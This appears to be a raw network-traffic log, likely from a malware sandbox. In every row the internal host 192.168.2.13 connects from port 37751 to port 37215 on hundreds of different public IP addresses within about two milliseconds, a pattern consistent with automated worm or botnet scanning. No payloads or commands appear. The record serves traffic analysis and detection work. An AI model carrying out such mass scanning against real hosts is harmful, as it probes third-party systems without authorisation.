Jan 1, 2024 12:51:53.009680986 CET	37751	37215	192.168.2.13	156.53.236.25
Jan 1, 2024 12:51:53.009685040 CET	37751	37215	192.168.2.13	156.12.177.118
Jan 1, 2024 12:51:53.009680986 CET	37751	37215	192.168.2.13	41.193.204.240
Jan 1, 2024 12:51:53.009680986 CET	37751	37215	192.168.2.13	197.180.234.224
Jan 1, 2024 12:51:53.009685993 CET	37751	37215	192.168.2.13	197.177.92.38
Jan 1, 2024 12:51:53.009691000 CET	37751	37215	192.168.2.13	41.84.239.186
Jan 1, 2024 12:51:53.009691000 CET	37751	37215	192.168.2.13	190.45.22.51
Jan 1, 2024 12:51:53.009691954 CET	37751	37215	192.168.2.13	102.162.248.231
Jan 1, 2024 12:51:53.009691954 CET	37751	37215	192.168.2.13	197.169.51.19
Jan 1, 2024 12:51:53.009691954 CET	37751	37215	192.168.2.13	138.9.169.71
Jan 1, 2024 12:51:53.009699106 CET	37751	37215	192.168.2.13	156.73.200.226
Jan 1, 2024 12:51:53.009699106 CET	37751	37215	192.168.2.13	154.71.31.231
Jan 1, 2024 12:51:53.009699106 CET	37751	37215	192.168.2.13	156.152.117.150
Jan 1, 2024 12:51:53.009701014 CET	37751	37215	192.168.2.13	197.36.252.141
Jan 1, 2024 12:51:53.009708881 CET	37751	37215	192.168.2.13	120.78.90.232
Jan 1, 2024 12:51:53.009711981 CET	37751	37215	192.168.2.13	41.137.125.58
Jan 1, 2024 12:51:53.009712934 CET	37751	37215	192.168.2.13	181.31.216.178
Jan 1, 2024 12:51:53.009728909 CET	37751	37215	192.168.2.13	92.4.126.191
Jan 1, 2024 12:51:53.009728909 CET	37751	37215	192.168.2.13	92.213.115.82
Jan 1, 2024 12:51:53.009730101 CET	37751	37215	192.168.2.13	156.24.243.88
Jan 1, 2024 12:51:53.009730101 CET	37751	37215	192.168.2.13	197.253.2.138
Jan 1, 2024 12:51:53.009732008 CET	37751	37215	192.168.2.13	197.2.207.211
Jan 1, 2024 12:51:53.009735107 CET	37751	37215	192.168.2.13	154.207.95.89
Jan 1, 2024 12:51:53.009735107 CET	37751	37215	192.168.2.13	197.225.231.28
Jan 1, 2024 12:51:53.009735107 CET	37751	37215	192.168.2.13	41.153.177.151
Jan 1, 2024 12:51:53.009754896 CET	37751	37215	192.168.2.13	197.45.4.53
Jan 1, 2024 12:51:53.009756088 CET	37751	37215	192.168.2.13	41.179.60.235
Jan 1, 2024 12:51:53.009758949 CET	37751	37215	192.168.2.13	197.249.94.238
Jan 1, 2024 12:51:53.009767056 CET	37751	37215	192.168.2.13	156.47.157.136
Jan 1, 2024 12:51:53.009774923 CET	37751	37215	192.168.2.13	197.125.35.164
Jan 1, 2024 12:51:53.009778023 CET	37751	37215	192.168.2.13	107.229.213.113
Jan 1, 2024 12:51:53.009779930 CET	37751	37215	192.168.2.13	41.89.155.120
Jan 1, 2024 12:51:53.009792089 CET	37751	37215	192.168.2.13	120.105.178.81
Jan 1, 2024 12:51:53.009797096 CET	37751	37215	192.168.2.13	94.61.66.148
Jan 1, 2024 12:51:53.009797096 CET	37751	37215	192.168.2.13	102.26.140.116
Jan 1, 2024 12:51:53.009798050 CET	37751	37215	192.168.2.13	197.63.233.221
Jan 1, 2024 12:51:53.009800911 CET	37751	37215	192.168.2.13	138.40.152.192
Jan 1, 2024 12:51:53.009809017 CET	37751	37215	192.168.2.13	156.185.129.179
Jan 1, 2024 12:51:53.009809971 CET	37751	37215	192.168.2.13	181.57.213.143
Jan 1, 2024 12:51:53.009810925 CET	37751	37215	192.168.2.13	197.109.157.103
Jan 1, 2024 12:51:53.009813070 CET	37751	37215	192.168.2.13	197.233.58.176
Jan 1, 2024 12:51:53.009813070 CET	37751	37215	192.168.2.13	157.54.92.209
Jan 1, 2024 12:51:53.009814024 CET	37751	37215	192.168.2.13	197.16.220.209
Jan 1, 2024 12:51:53.009830952 CET	37751	37215	192.168.2.13	102.209.145.19
Jan 1, 2024 12:51:53.009830952 CET	37751	37215	192.168.2.13	156.123.121.28
Jan 1, 2024 12:51:53.009831905 CET	37751	37215	192.168.2.13	156.112.206.239
Jan 1, 2024 12:51:53.009835005 CET	37751	37215	192.168.2.13	197.42.246.77
Jan 1, 2024 12:51:53.009841919 CET	37751	37215	192.168.2.13	181.99.13.197
Jan 1, 2024 12:51:53.009843111 CET	37751	37215	192.168.2.13	197.212.15.185
Jan 1, 2024 12:51:53.009843111 CET	37751	37215	192.168.2.13	156.229.127.222
Jan 1, 2024 12:51:53.009843111 CET	37751	37215	192.168.2.13	41.176.246.160
Jan 1, 2024 12:51:53.009844065 CET	37751	37215	192.168.2.13	181.231.129.237
Jan 1, 2024 12:51:53.009850979 CET	37751	37215	192.168.2.13	222.143.110.143
Jan 1, 2024 12:51:53.009851933 CET	37751	37215	192.168.2.13	156.239.90.51
Jan 1, 2024 12:51:53.009856939 CET	37751	37215	192.168.2.13	197.92.192.151
Jan 1, 2024 12:51:53.009870052 CET	37751	37215	192.168.2.13	197.5.1.98
Jan 1, 2024 12:51:53.009875059 CET	37751	37215	192.168.2.13	122.137.65.86
Jan 1, 2024 12:51:53.009879112 CET	37751	37215	192.168.2.13	156.182.21.232
Jan 1, 2024 12:51:53.009880066 CET	37751	37215	192.168.2.13	160.157.27.116
Jan 1, 2024 12:51:53.009881020 CET	37751	37215	192.168.2.13	156.212.6.136
Jan 1, 2024 12:51:53.009881020 CET	37751	37215	192.168.2.13	197.71.144.195
Jan 1, 2024 12:51:53.009881020 CET	37751	37215	192.168.2.13	156.230.25.188
Jan 1, 2024 12:51:53.009893894 CET	37751	37215	192.168.2.13	41.144.103.129
Jan 1, 2024 12:51:53.009895086 CET	37751	37215	192.168.2.13	37.4.126.13
Jan 1, 2024 12:51:53.009898901 CET	37751	37215	192.168.2.13	138.216.131.8
Jan 1, 2024 12:51:53.009902954 CET	37751	37215	192.168.2.13	197.132.228.233
Jan 1, 2024 12:51:53.009907961 CET	37751	37215	192.168.2.13	156.204.107.12
Jan 1, 2024 12:51:53.009907961 CET	37751	37215	192.168.2.13	41.21.206.161
Jan 1, 2024 12:51:53.009916067 CET	37751	37215	192.168.2.13	196.119.109.235
Jan 1, 2024 12:51:53.009917974 CET	37751	37215	192.168.2.13	197.102.213.241
Jan 1, 2024 12:51:53.009931087 CET	37751	37215	192.168.2.13	41.29.24.229
Jan 1, 2024 12:51:53.009931087 CET	37751	37215	192.168.2.13	41.187.206.88
Jan 1, 2024 12:51:53.009943008 CET	37751	37215	192.168.2.13	197.12.216.7
Jan 1, 2024 12:51:53.009944916 CET	37751	37215	192.168.2.13	41.20.235.28
Jan 1, 2024 12:51:53.009951115 CET	37751	37215	192.168.2.13	197.200.242.70
Jan 1, 2024 12:51:53.009954929 CET	37751	37215	192.168.2.13	156.126.75.155
Jan 1, 2024 12:51:53.009960890 CET	37751	37215	192.168.2.13	41.48.114.75
Jan 1, 2024 12:51:53.009965897 CET	37751	37215	192.168.2.13	41.242.15.211
Jan 1, 2024 12:51:53.009968042 CET	37751	37215	192.168.2.13	196.147.170.122
Jan 1, 2024 12:51:53.009973049 CET	37751	37215	192.168.2.13	197.153.106.118
Jan 1, 2024 12:51:53.009984016 CET	37751	37215	192.168.2.13	156.187.14.77
Jan 1, 2024 12:51:53.009985924 CET	37751	37215	192.168.2.13	95.242.215.45
Jan 1, 2024 12:51:53.009985924 CET	37751	37215	192.168.2.13	41.9.204.91
Jan 1, 2024 12:51:53.009993076 CET	37751	37215	192.168.2.13	197.68.13.19
Jan 1, 2024 12:51:53.009993076 CET	37751	37215	192.168.2.13	197.228.197.13
Jan 1, 2024 12:51:53.009994030 CET	37751	37215	192.168.2.13	197.139.176.179
Jan 1, 2024 12:51:53.009996891 CET	37751	37215	192.168.2.13	197.125.24.81
Jan 1, 2024 12:51:53.009996891 CET	37751	37215	192.168.2.13	156.38.218.84
Jan 1, 2024 12:51:53.010010958 CET	37751	37215	192.168.2.13	41.6.180.248
Jan 1, 2024 12:51:53.010015011 CET	37751	37215	192.168.2.13	41.115.97.135
Jan 1, 2024 12:51:53.010018110 CET	37751	37215	192.168.2.13	120.143.187.3
Jan 1, 2024 12:51:53.010020971 CET	37751	37215	192.168.2.13	197.178.64.81
Jan 1, 2024 12:51:53.010023117 CET	37751	37215	192.168.2.13	197.30.36.75
Jan 1, 2024 12:51:53.010029078 CET	37751	37215	192.168.2.13	156.201.229.10
Jan 1, 2024 12:51:53.010029078 CET	37751	37215	192.168.2.13	160.37.65.220
Jan 1, 2024 12:51:53.010040045 CET	37751	37215	192.168.2.13	197.93.186.217
Jan 1, 2024 12:51:53.010042906 CET	37751	37215	192.168.2.13	197.119.54.112
Jan 1, 2024 12:51:53.010046959 CET	37751	37215	192.168.2.13	156.36.80.77
Jan 1, 2024 12:51:53.010050058 CET	37751	37215	192.168.2.13	197.63.232.16
Jan 1, 2024 12:51:53.010066032 CET	37751	37215	192.168.2.13	95.71.142.45
Jan 1, 2024 12:51:53.010066032 CET	37751	37215	192.168.2.13	102.54.141.88
Jan 1, 2024 12:51:53.010066986 CET	37751	37215	192.168.2.13	41.195.230.156
Jan 1, 2024 12:51:53.010066986 CET	37751	37215	192.168.2.13	120.141.57.160
Jan 1, 2024 12:51:53.010082006 CET	37751	37215	192.168.2.13	196.51.135.195
Jan 1, 2024 12:51:53.010085106 CET	37751	37215	192.168.2.13	181.170.137.245
Jan 1, 2024 12:51:53.010087967 CET	37751	37215	192.168.2.13	197.162.191.93
Jan 1, 2024 12:51:53.010093927 CET	37751	37215	192.168.2.13	94.66.194.99
Jan 1, 2024 12:51:53.010103941 CET	37751	37215	192.168.2.13	41.116.236.218
Jan 1, 2024 12:51:53.010103941 CET	37751	37215	192.168.2.13	41.133.245.32
Jan 1, 2024 12:51:53.010111094 CET	37751	37215	192.168.2.13	160.93.36.176
Jan 1, 2024 12:51:53.010111094 CET	37751	37215	192.168.2.13	181.242.178.90
Jan 1, 2024 12:51:53.010112047 CET	37751	37215	192.168.2.13	156.131.81.250
Jan 1, 2024 12:51:53.010114908 CET	37751	37215	192.168.2.13	41.152.80.87
Jan 1, 2024 12:51:53.010121107 CET	37751	37215	192.168.2.13	186.222.190.146
Jan 1, 2024 12:51:53.010121107 CET	37751	37215	192.168.2.13	197.235.44.70
Jan 1, 2024 12:51:53.010129929 CET	37751	37215	192.168.2.13	121.83.181.244
Jan 1, 2024 12:51:53.010129929 CET	37751	37215	192.168.2.13	156.202.234.160
Jan 1, 2024 12:51:53.010148048 CET	37751	37215	192.168.2.13	154.200.213.128
Jan 1, 2024 12:51:53.010152102 CET	37751	37215	192.168.2.13	156.12.211.110
Jan 1, 2024 12:51:53.010152102 CET	37751	37215	192.168.2.13	197.255.192.186
Jan 1, 2024 12:51:53.010153055 CET	37751	37215	192.168.2.13	222.150.234.48
Jan 1, 2024 12:51:53.010154009 CET	37751	37215	192.168.2.13	197.170.136.76
Jan 1, 2024 12:51:53.010154009 CET	37751	37215	192.168.2.13	156.140.222.194
Jan 1, 2024 12:51:53.010158062 CET	37751	37215	192.168.2.13	197.32.222.178
Jan 1, 2024 12:51:53.010170937 CET	37751	37215	192.168.2.13	41.225.65.47
Jan 1, 2024 12:51:53.010170937 CET	37751	37215	192.168.2.13	197.194.29.129
Jan 1, 2024 12:51:53.010170937 CET	37751	37215	192.168.2.13	197.120.19.214
Jan 1, 2024 12:51:53.010174036 CET	37751	37215	192.168.2.13	190.126.40.218
Jan 1, 2024 12:51:53.010174036 CET	37751	37215	192.168.2.13	197.11.232.254
Jan 1, 2024 12:51:53.010181904 CET	37751	37215	192.168.2.13	222.186.58.8
Jan 1, 2024 12:51:53.010185003 CET	37751	37215	192.168.2.13	197.58.65.232
Jan 1, 2024 12:51:53.010193110 CET	37751	37215	192.168.2.13	197.42.124.178
Jan 1, 2024 12:51:53.010194063 CET	37751	37215	192.168.2.13	156.226.108.47
Jan 1, 2024 12:51:53.010200024 CET	37751	37215	192.168.2.13	156.164.246.217
Jan 1, 2024 12:51:53.010205030 CET	37751	37215	192.168.2.13	156.86.35.111
Jan 1, 2024 12:51:53.010210991 CET	37751	37215	192.168.2.13	156.0.238.146
Jan 1, 2024 12:51:53.010211945 CET	37751	37215	192.168.2.13	222.66.149.215
Jan 1, 2024 12:51:53.010219097 CET	37751	37215	192.168.2.13	41.106.136.65
Jan 1, 2024 12:51:53.010221004 CET	37751	37215	192.168.2.13	41.141.79.38
Jan 1, 2024 12:51:53.010226011 CET	37751	37215	192.168.2.13	197.128.150.156
Jan 1, 2024 12:51:53.010230064 CET	37751	37215	192.168.2.13	37.20.196.71
Jan 1, 2024 12:51:53.010230064 CET	37751	37215	192.168.2.13	41.173.208.62
Jan 1, 2024 12:51:53.010230064 CET	37751	37215	192.168.2.13	197.209.254.94
Jan 1, 2024 12:51:53.010232925 CET	37751	37215	192.168.2.13	222.82.136.111
Jan 1, 2024 12:51:53.010242939 CET	37751	37215	192.168.2.13	197.169.249.214
Jan 1, 2024 12:51:53.010247946 CET	37751	37215	192.168.2.13	197.27.129.12
Jan 1, 2024 12:51:53.010247946 CET	37751	37215	192.168.2.13	156.197.120.132
Jan 1, 2024 12:51:53.010248899 CET	37751	37215	192.168.2.13	197.133.56.107
Jan 1, 2024 12:51:53.010251045 CET	37751	37215	192.168.2.13	186.244.49.107
Jan 1, 2024 12:51:53.010251045 CET	37751	37215	192.168.2.13	156.92.155.145
Jan 1, 2024 12:51:53.010251045 CET	37751	37215	192.168.2.13	41.187.230.211
Jan 1, 2024 12:51:53.010251045 CET	37751	37215	192.168.2.13	186.163.72.49
Jan 1, 2024 12:51:53.010263920 CET	37751	37215	192.168.2.13	41.184.96.180
Jan 1, 2024 12:51:53.010266066 CET	37751	37215	192.168.2.13	197.99.103.199
Jan 1, 2024 12:51:53.010268927 CET	37751	37215	192.168.2.13	156.33.141.0
Jan 1, 2024 12:51:53.010273933 CET	37751	37215	192.168.2.13	41.80.56.21
Jan 1, 2024 12:51:53.010273933 CET	37751	37215	192.168.2.13	120.234.156.87
Jan 1, 2024 12:51:53.010277033 CET	37751	37215	192.168.2.13	41.207.64.227
Jan 1, 2024 12:51:53.010279894 CET	37751	37215	192.168.2.13	120.195.245.22
Jan 1, 2024 12:51:53.010279894 CET	37751	37215	192.168.2.13	181.189.101.222
Jan 1, 2024 12:51:53.010287046 CET	37751	37215	192.168.2.13	102.33.66.114
Jan 1, 2024 12:51:53.010287046 CET	37751	37215	192.168.2.13	37.110.176.131
Jan 1, 2024 12:51:53.010293961 CET	37751	37215	192.168.2.13	156.241.167.211
Jan 1, 2024 12:51:53.010293961 CET	37751	37215	192.168.2.13	157.86.127.71
Jan 1, 2024 12:51:53.010303974 CET	37751	37215	192.168.2.13	41.98.37.236
Jan 1, 2024 12:51:53.010304928 CET	37751	37215	192.168.2.13	41.241.5.114
Jan 1, 2024 12:51:53.010304928 CET	37751	37215	192.168.2.13	41.215.219.235
Jan 1, 2024 12:51:53.010307074 CET	37751	37215	192.168.2.13	156.247.218.53
Jan 1, 2024 12:51:53.010307074 CET	37751	37215	192.168.2.13	197.174.182.11
Jan 1, 2024 12:51:53.010328054 CET	37751	37215	192.168.2.13	41.166.79.88
Jan 1, 2024 12:51:53.010329008 CET	37751	37215	192.168.2.13	156.140.92.101
Jan 1, 2024 12:51:53.010329962 CET	37751	37215	192.168.2.13	156.37.89.104
Jan 1, 2024 12:51:53.010329962 CET	37751	37215	192.168.2.13	197.55.135.75
Jan 1, 2024 12:51:53.010329962 CET	37751	37215	192.168.2.13	156.54.44.106
Jan 1, 2024 12:51:53.010335922 CET	37751	37215	192.168.2.13	41.233.31.95
Jan 1, 2024 12:51:53.010346889 CET	37751	37215	192.168.2.13	197.41.68.2
Jan 1, 2024 12:51:53.010350943 CET	37751	37215	192.168.2.13	186.186.126.218
Jan 1, 2024 12:51:53.010353088 CET	37751	37215	192.168.2.13	41.86.61.244
Jan 1, 2024 12:51:53.010354042 CET	37751	37215	192.168.2.13	41.92.72.143
Jan 1, 2024 12:51:53.010358095 CET	37751	37215	192.168.2.13	156.51.248.106
Jan 1, 2024 12:51:53.010365963 CET	37751	37215	192.168.2.13	156.70.200.61
Jan 1, 2024 12:51:53.010366917 CET	37751	37215	192.168.2.13	156.14.193.42
Jan 1, 2024 12:51:53.010368109 CET	37751	37215	192.168.2.13	156.3.85.155
Jan 1, 2024 12:51:53.010370016 CET	37751	37215	192.168.2.13	197.234.119.116
Jan 1, 2024 12:51:53.010381937 CET	37751	37215	192.168.2.13	156.5.69.173
Jan 1, 2024 12:51:53.010385036 CET	37751	37215	192.168.2.13	156.69.2.67
Jan 1, 2024 12:51:53.010385990 CET	37751	37215	192.168.2.13	95.77.12.202
Jan 1, 2024 12:51:53.010386944 CET	37751	37215	192.168.2.13	41.169.218.65
Jan 1, 2024 12:51:53.010405064 CET	37751	37215	192.168.2.13	41.149.94.149
Jan 1, 2024 12:51:53.010406017 CET	37751	37215	192.168.2.13	156.255.54.50
Jan 1, 2024 12:51:53.010406017 CET	37751	37215	192.168.2.13	156.167.203.50
Jan 1, 2024 12:51:53.010409117 CET	37751	37215	192.168.2.13	41.103.58.104
Jan 1, 2024 12:51:53.010410070 CET	37751	37215	192.168.2.13	156.115.115.184
Jan 1, 2024 12:51:53.010412931 CET	37751	37215	192.168.2.13	197.187.160.207
Jan 1, 2024 12:51:53.010416985 CET	37751	37215	192.168.2.13	160.83.253.196
Jan 1, 2024 12:51:53.010416985 CET	37751	37215	192.168.2.13	186.144.171.160
Jan 1, 2024 12:51:53.010416985 CET	37751	37215	192.168.2.13	41.183.97.96
Jan 1, 2024 12:51:53.010428905 CET	37751	37215	192.168.2.13	186.130.89.202
Jan 1, 2024 12:51:53.010428905 CET	37751	37215	192.168.2.13	92.185.16.201
Jan 1, 2024 12:51:53.010428905 CET	37751	37215	192.168.2.13	41.2.44.250
Jan 1, 2024 12:51:53.010446072 CET	37751	37215	192.168.2.13	102.174.107.248
Jan 1, 2024 12:51:53.010448933 CET	37751	37215	192.168.2.13	196.108.33.115
Jan 1, 2024 12:51:53.010451078 CET	37751	37215	192.168.2.13	154.224.191.210
Jan 1, 2024 12:51:53.010451078 CET	37751	37215	192.168.2.13	181.24.33.64
Jan 1, 2024 12:51:53.010464907 CET	37751	37215	192.168.2.13	197.213.131.180
Jan 1, 2024 12:51:53.010467052 CET	37751	37215	192.168.2.13	197.111.171.112
Jan 1, 2024 12:51:53.010473013 CET	37751	37215	192.168.2.13	156.182.225.54
Jan 1, 2024 12:51:53.010473013 CET	37751	37215	192.168.2.13	157.21.128.61
Jan 1, 2024 12:51:53.010473013 CET	37751	37215	192.168.2.13	197.193.130.101
Jan 1, 2024 12:51:53.010476112 CET	37751	37215	192.168.2.13	121.3.98.250
Jan 1, 2024 12:51:53.010476112 CET	37751	37215	192.168.2.13	156.184.86.108
Jan 1, 2024 12:51:53.010476112 CET	37751	37215	192.168.2.13	156.24.63.180
Jan 1, 2024 12:51:53.010477066 CET	37751	37215	192.168.2.13	120.143.173.28
Jan 1, 2024 12:51:53.010483980 CET	37751	37215	192.168.2.13	156.60.165.136
Jan 1, 2024 12:51:53.010483980 CET	37751	37215	192.168.2.13	156.192.2.9
Jan 1, 2024 12:51:53.010495901 CET	37751	37215	192.168.2.13	102.189.252.112
Jan 1, 2024 12:51:53.010497093 CET	37751	37215	192.168.2.13	156.52.185.40
Jan 1, 2024 12:51:53.010500908 CET	37751	37215	192.168.2.13	102.224.194.12
Jan 1, 2024 12:51:53.010504961 CET	37751	37215	192.168.2.13	156.39.105.218
Jan 1, 2024 12:51:53.010505915 CET	37751	37215	192.168.2.13	156.240.247.213
Jan 1, 2024 12:51:53.010505915 CET	37751	37215	192.168.2.13	197.100.143.23
Jan 1, 2024 12:51:53.010505915 CET	37751	37215	192.168.2.13	156.84.125.155
Jan 1, 2024 12:51:53.010505915 CET	37751	37215	192.168.2.13	156.183.117.170
Jan 1, 2024 12:51:53.010505915 CET	37751	37215	192.168.2.13	156.109.20.95
Jan 1, 2024 12:51:53.010510921 CET	37751	37215	192.168.2.13	197.102.175.192
Jan 1, 2024 12:51:53.010521889 CET	37751	37215	192.168.2.13	41.187.31.45
Jan 1, 2024 12:51:53.010525942 CET	37751	37215	192.168.2.13	41.6.28.75
Jan 1, 2024 12:51:53.010530949 CET	37751	37215	192.168.2.13	102.107.207.32
Jan 1, 2024 12:51:53.010531902 CET	37751	37215	192.168.2.13	197.14.223.107
Jan 1, 2024 12:51:53.010545969 CET	37751	37215	192.168.2.13	186.74.240.117
Jan 1, 2024 12:51:53.010545969 CET	37751	37215	192.168.2.13	197.33.91.186
Jan 1, 2024 12:51:53.010545969 CET	37751	37215	192.168.2.13	160.149.152.217
Jan 1, 2024 12:51:53.010545969 CET	37751	37215	192.168.2.13	138.22.111.205
Jan 1, 2024 12:51:53.010549068 CET	37751	37215	192.168.2.13	41.120.213.235
Jan 1, 2024 12:51:53.010549068 CET	37751	37215	192.168.2.13	156.48.248.56
Jan 1, 2024 12:51:53.010549068 CET	37751	37215	192.168.2.13	92.1.71.120
Jan 1, 2024 12:51:53.010561943 CET	37751	37215	192.168.2.13	37.143.252.247
Jan 1, 2024 12:51:53.010571003 CET	37751	37215	192.168.2.13	156.213.172.254
Jan 1, 2024 12:51:53.010572910 CET	37751	37215	192.168.2.13	156.28.228.233
Jan 1, 2024 12:51:53.010577917 CET	37751	37215	192.168.2.13	45.124.215.175
Jan 1, 2024 12:51:53.010579109 CET	37751	37215	192.168.2.13	41.72.132.5
Jan 1, 2024 12:51:53.010579109 CET	37751	37215	192.168.2.13	181.146.181.33
Jan 1, 2024 12:51:53.010593891 CET	37751	37215	192.168.2.13	197.64.78.247
Jan 1, 2024 12:51:53.010593891 CET	37751	37215	192.168.2.13	41.5.159.156
Jan 1, 2024 12:51:53.010593891 CET	37751	37215	192.168.2.13	154.252.230.233
Jan 1, 2024 12:51:53.010596037 CET	37751	37215	192.168.2.13	156.210.18.158
Jan 1, 2024 12:51:53.010596037 CET	37751	37215	192.168.2.13	156.206.88.117
Jan 1, 2024 12:51:53.010597944 CET	37751	37215	192.168.2.13	156.108.99.86
Jan 1, 2024 12:51:53.010598898 CET	37751	37215	192.168.2.13	156.60.154.7
Jan 1, 2024 12:51:53.010598898 CET	37751	37215	192.168.2.13	156.10.76.4
Jan 1, 2024 12:51:53.010611057 CET	37751	37215	192.168.2.13	41.206.155.125
Jan 1, 2024 12:51:53.010622025 CET	37751	37215	192.168.2.13	197.164.148.149
Jan 1, 2024 12:51:53.010622978 CET	37751	37215	192.168.2.13	138.88.162.33
Jan 1, 2024 12:51:53.010627985 CET	37751	37215	192.168.2.13	120.134.152.53
Jan 1, 2024 12:51:53.010632038 CET	37751	37215	192.168.2.13	102.28.209.234
Jan 1, 2024 12:51:53.010632038 CET	37751	37215	192.168.2.13	197.100.202.71
Jan 1, 2024 12:51:53.010633945 CET	37751	37215	192.168.2.13	197.221.235.88
Jan 1, 2024 12:51:53.010633945 CET	37751	37215	192.168.2.13	41.86.223.29
Jan 1, 2024 12:51:53.010633945 CET	37751	37215	192.168.2.13	156.173.96.202
Jan 1, 2024 12:51:53.010646105 CET	37751	37215	192.168.2.13	95.112.228.117
Jan 1, 2024 12:51:53.010652065 CET	37751	37215	192.168.2.13	197.102.14.36
Jan 1, 2024 12:51:53.010652065 CET	37751	37215	192.168.2.13	45.191.232.123
Jan 1, 2024 12:51:53.010662079 CET	37751	37215	192.168.2.13	92.48.224.62
Jan 1, 2024 12:51:53.010664940 CET	37751	37215	192.168.2.13	102.74.52.178
Jan 1, 2024 12:51:53.010665894 CET	37751	37215	192.168.2.13	154.118.85.59
Jan 1, 2024 12:51:53.010673046 CET	37751	37215	192.168.2.13	121.0.176.255
Jan 1, 2024 12:51:53.010673046 CET	37751	37215	192.168.2.13	41.166.216.230
Jan 1, 2024 12:51:53.010674953 CET	37751	37215	192.168.2.13	102.120.69.251
Jan 1, 2024 12:51:53.010684013 CET	37751	37215	192.168.2.13	95.92.103.252
Jan 1, 2024 12:51:53.010684013 CET	37751	37215	192.168.2.13	157.162.77.23
Jan 1, 2024 12:51:53.010684013 CET	37751	37215	192.168.2.13	156.146.79.155
Jan 1, 2024 12:51:53.010699987 CET	37751	37215	192.168.2.13	197.54.150.73
Jan 1, 2024 12:51:53.010704994 CET	37751	37215	192.168.2.13	121.101.124.85
Jan 1, 2024 12:51:53.010705948 CET	37751	37215	192.168.2.13	197.45.166.65
Jan 1, 2024 12:51:53.010714054 CET	37751	37215	192.168.2.13	41.203.25.252
Jan 1, 2024 12:51:53.010716915 CET	37751	37215	192.168.2.13	41.244.198.42
Jan 1, 2024 12:51:53.010723114 CET	37751	37215	192.168.2.13	156.51.252.149
Jan 1, 2024 12:51:53.010725975 CET	37751	37215	192.168.2.13	222.102.36.62
Jan 1, 2024 12:51:53.010726929 CET	37751	37215	192.168.2.13	156.39.169.6
Jan 1, 2024 12:51:53.010731936 CET	37751	37215	192.168.2.13	121.87.122.27
Jan 1, 2024 12:51:53.010734081 CET	37751	37215	192.168.2.13	138.223.23.52
Jan 1, 2024 12:51:53.010736942 CET	37751	37215	192.168.2.13	107.207.148.145
Jan 1, 2024 12:51:53.010749102 CET	37751	37215	192.168.2.13	156.61.14.224
Jan 1, 2024 12:51:53.010752916 CET	37751	37215	192.168.2.13	197.5.88.110
Jan 1, 2024 12:51:53.010752916 CET	37751	37215	192.168.2.13	157.100.45.251
Jan 1, 2024 12:51:53.010752916 CET	37751	37215	192.168.2.13	181.144.169.113
Jan 1, 2024 12:51:53.010757923 CET	37751	37215	192.168.2.13	190.207.101.243
Jan 1, 2024 12:51:53.010759115 CET	37751	37215	192.168.2.13	186.237.204.6
Jan 1, 2024 12:51:53.010768890 CET	37751	37215	192.168.2.13	156.66.211.105
Jan 1, 2024 12:51:53.010775089 CET	37751	37215	192.168.2.13	157.131.16.221
Jan 1, 2024 12:51:53.010782957 CET	37751	37215	192.168.2.13	197.70.87.154
Jan 1, 2024 12:51:53.010782957 CET	37751	37215	192.168.2.13	41.175.41.213
Jan 1, 2024 12:51:53.010786057 CET	37751	37215	192.168.2.13	156.54.16.225
Jan 1, 2024 12:51:53.010786057 CET	37751	37215	192.168.2.13	41.53.105.20
Jan 1, 2024 12:51:53.010786057 CET	37751	37215	192.168.2.13	156.88.53.233
Jan 1, 2024 12:51:53.010786057 CET	37751	37215	192.168.2.13	41.211.240.225
Jan 1, 2024 12:51:53.010788918 CET	37751	37215	192.168.2.13	197.228.123.150
Jan 1, 2024 12:51:53.010790110 CET	37751	37215	192.168.2.13	186.252.246.65
Jan 1, 2024 12:51:53.010792017 CET	37751	37215	192.168.2.13	154.177.115.192
Jan 1, 2024 12:51:53.010792017 CET	37751	37215	192.168.2.13	197.217.170.168
Jan 1, 2024 12:51:53.010792017 CET	37751	37215	192.168.2.13	197.164.35.73
Jan 1, 2024 12:51:53.010799885 CET	37751	37215	192.168.2.13	197.159.12.63
Jan 1, 2024 12:51:53.010799885 CET	37751	37215	192.168.2.13	41.180.71.62
Jan 1, 2024 12:51:53.010799885 CET	37751	37215	192.168.2.13	41.168.108.220
Jan 1, 2024 12:51:53.010802984 CET	37751	37215	192.168.2.13	156.179.239.45
Jan 1, 2024 12:51:53.010807037 CET	37751	37215	192.168.2.13	41.190.209.58
Jan 1, 2024 12:51:53.010807037 CET	37751	37215	192.168.2.13	41.221.18.76
Jan 1, 2024 12:51:53.010807991 CET	37751	37215	192.168.2.13	41.45.221.17
Jan 1, 2024 12:51:53.010821104 CET	37751	37215	192.168.2.13	197.232.189.238
Jan 1, 2024 12:51:53.010821104 CET	37751	37215	192.168.2.13	41.96.102.227
Jan 1, 2024 12:51:53.010823011 CET	37751	37215	192.168.2.13	122.127.75.16
Jan 1, 2024 12:51:53.010823011 CET	37751	37215	192.168.2.13	160.85.240.169
Jan 1, 2024 12:51:53.010824919 CET	37751	37215	192.168.2.13	156.53.82.193
Jan 1, 2024 12:51:53.010824919 CET	37751	37215	192.168.2.13	41.181.151.66
Jan 1, 2024 12:51:53.010826111 CET	37751	37215	192.168.2.13	156.217.14.240
Jan 1, 2024 12:51:53.010837078 CET	37751	37215	192.168.2.13	197.35.113.83
Jan 1, 2024 12:51:53.010840893 CET	37751	37215	192.168.2.13	181.56.10.123
Jan 1, 2024 12:51:53.010843992 CET	37751	37215	192.168.2.13	197.251.241.218
Jan 1, 2024 12:51:53.010844946 CET	37751	37215	192.168.2.13	186.229.188.206
Jan 1, 2024 12:51:53.010847092 CET	37751	37215	192.168.2.13	121.174.114.31
Jan 1, 2024 12:51:53.010854006 CET	37751	37215	192.168.2.13	197.132.58.213
Jan 1, 2024 12:51:53.010855913 CET	37751	37215	192.168.2.13	121.126.110.197
Jan 1, 2024 12:51:53.010859966 CET	37751	37215	192.168.2.13	197.237.175.93
Jan 1, 2024 12:51:53.010859966 CET	37751	37215	192.168.2.13	41.211.217.211
Jan 1, 2024 12:51:53.010871887 CET	37751	37215	192.168.2.13	107.178.207.53
Jan 1, 2024 12:51:53.010871887 CET	37751	37215	192.168.2.13	95.160.250.163
Jan 1, 2024 12:51:53.010876894 CET	37751	37215	192.168.2.13	107.18.64.242
Jan 1, 2024 12:51:53.010878086 CET	37751	37215	192.168.2.13	156.5.247.206
Jan 1, 2024 12:51:53.010885000 CET	37751	37215	192.168.2.13	156.182.194.55
Jan 1, 2024 12:51:53.010894060 CET	37751	37215	192.168.2.13	156.224.170.185
Jan 1, 2024 12:51:53.010898113 CET	37751	37215	192.168.2.13	197.104.35.28
Jan 1, 2024 12:51:53.010899067 CET	37751	37215	192.168.2.13	156.174.228.187
Jan 1, 2024 12:51:53.010899067 CET	37751	37215	192.168.2.13	120.106.189.183
